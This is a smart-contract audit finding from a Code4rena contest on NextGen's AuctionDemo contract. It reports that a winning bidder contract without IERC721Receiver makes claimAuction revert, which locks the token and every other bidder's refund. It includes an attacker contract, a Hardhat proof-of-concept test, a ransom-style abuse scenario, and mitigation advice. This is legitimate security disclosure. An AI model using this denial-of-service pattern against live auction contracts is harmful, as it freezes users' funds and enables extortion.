The winning auction contract without implementing IERC721Reciever causes the funds to be blocked forever after the auction is over

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L112

Vulnerability details

Impact

During the AuctionDemo.claimAuction prize claiming call and the issuance of uncollected bids, the prize is sent to the winner via IERC721.safeTransferFrom which causes a block when the winner is contract without implementing IERC721Reciever, accidentally or intentionally as an attack vector.

As an example of the attack, the malicious user will make his contract win the auction. And upon completion, he will request additional funds from users to unlock their bids in the auction. Which in turn will pay off the cost of the attack

The consequences are critical because `claimAuction' also returns uncollected bids to users, which increases the amount of funds that will be blocked

Losses

Blocking users' funds and prize (token)

Proof of Concept

Links

• https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L112

Description

The recipient of the prize, if it is a contract, is required to implement the IERC721Reciever interface, which is a point of failure or attack:

File: 2023-10-nextgen\smart-contracts\AuctionDemo.sol
104:     function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
105:         require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
106:         auctionClaim[_tokenid] = true;
107:         uint256 highestBid = returnHighestBid(_tokenid);
108:         address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
109:         address highestBidder = returnHighestBidder(_tokenid);
110:         for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
111:             if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
112:                 IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); //@audit reverted if recipient is contract without implementation IERC721Receiever
113:                 (bool success, ) = payable(owner()).call{value: highestBid}("");
114:                 emit ClaimAuction(owner(), _tokenid, success, highestBid);
115:             } else if (auctionInfoData[_tokenid][i].status == true) {
116:                 (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
117:                 emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
118:             } else {}
119:         }
120:     }

Tests

// SPDX-License-Identifier: MIT

/**
 *
 *  @title: Auction Demo Contract
 *  @date: 26-October-2023 
 *  @version: 1.2
 *  @author: 6529 team
 */

pragma solidity ^0.8.19;

import "./AuctionDemo.sol";


contract Attack {

    function attack(auctionDemo auction, uint256 tokenId) external payable{
        auction.participateToAuction{value: msg.value}(tokenId);
    }
}



const {
  loadFixture,
} = require("@nomicfoundation/hardhat-toolbox/network-helpers")
const { expect } = require("chai")
const { ethers } = require("hardhat")
const fixturesDeployment = require("../scripts/fixturesDeployment.js")
const helpers = require("@nomicfoundation/hardhat-network-helpers");

let signers, contracts, auctionDemoContract
const COLLECTION_ID = 1

describe("Issue: auction without prize", function () {
  before("Setup", async function () {
    ({ signers, contracts } = await loadFixture(fixturesDeployment))

    const auctionDemoFactory = await ethers.getContractFactory("auctionDemo")
    auctionDemoContract = await auctionDemoFactory.deploy(
      contracts.hhMinter.getAddress(),
      contracts.hhCore.getAddress(),
      contracts.hhAdmin.getAddress()
    )
    
    await contracts.hhCore.createCollection(
      "Test Collection 1",
      "Artist 1",
      "For testing",
      "www.test.com",
      "CCO",
      "https://ipfs.io/ipfs/hash/",
      "",
      ["desc"],
    )
    await contracts.hhAdmin.registerCollectionAdmin(
      1,
      signers.addr1.getAddress(),
      true,
    )
    await contracts.hhCore.connect(signers.addr1).setCollectionData(
      COLLECTION_ID, // _collectionID
      signers.addr1.getAddress(), // _collectionArtistAddress
      2, // _maxCollectionPurchases
      10000, // _collectionTotalSupply
      0, // _setFinalSupplyTimeAfterMint
    )

    await contracts.hhCore.addMinterContract(
      contracts.hhMinter.getAddress(),
    )

    await contracts.hhCore.addRandomizer(
      1, contracts.hhRandomizer.getAddress(),
    )
  
      await contracts.hhMinter.setCollectionCosts(
        COLLECTION_ID, // _collectionID
        0, // _collectionMintCost
        0, // _collectionEndMintCost
        0, // _rate
        1, // _timePeriod
        1, // _salesOptions
        '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
      )
      await contracts.hhMinter.setCollectionPhases(
        COLLECTION_ID, // _collectionID
        1696931278, // _allowlistStartTime
        1696931278, // _allowlistEndTime
        1696931278, // _publicStartTime
        1796931278, // _publicEndTime
        "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
      )
  })

  it("Checking the problem when enemy user blocking funds and token", async() => {

    let calcMintedId = await contracts.hhCore.viewTokensIndexMin(COLLECTION_ID) + await contracts.hhCore.viewCirSupply(COLLECTION_ID)
    let auctionEndTime = await helpers.time.latest() + 86400;
    await contracts.hhMinter.mintAndAuction(
      await signers.owner.getAddress(),
      '{"tdh": "100"}',
      2,
      COLLECTION_ID,
      auctionEndTime
    )
    
    await contracts.hhCore.transferFrom(await signers.owner.getAddress(), auctionDemoContract.getAddress(), calcMintedId)
      
    // @audit check that AuctionDemo have token
    expect(await contracts.hhCore.balanceOf(auctionDemoContract.getAddress())).to.be.eq(1);
    
    // @audit other user participate in Auction
    await auctionDemoContract.connect(signers.addr1).participateToAuction(calcMintedId, {value:10});

    // @audit enemy user participate in Auction

    const attackFactory = await ethers.getContractFactory("Attack")
    const attack = await attackFactory.deploy()

    await attack.connect(signers.addr2).attack(auctionDemoContract.getAddress(), calcMintedId, {value:100})

    expect(await ethers.provider.getBalance(auctionDemoContract.getAddress())).to.be.equal(110)

    await helpers.time.increase(auctionEndTime + 1)
    
    // @audit It must be returned because the winner does not implement IERC721Receiver
    await expect(auctionDemoContract.connect(signers.owner).claimAuction(calcMintedId))
    .to.be.revertedWith("ERC721: transfer to non ERC721Receiver implementer")
  })

})

Tools Used

• Manual Review
• HardHat

Recommended Mitigation Steps

1. The best solution is to separate the process of receiving the prize from the winner and the rest of the bidders after the auction is over
2. The easiest way to do this is to transfer the token using transferFrom instead of safeTransferFrom

Assessed type

DoS

[c4-pre-sort]

141345 marked the issue as duplicate of #486

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #1759

[c4-judge]

alex-ppg marked the issue as satisfactory

[c4-judge]

alex-ppg changed the severity to 2 (Med Risk)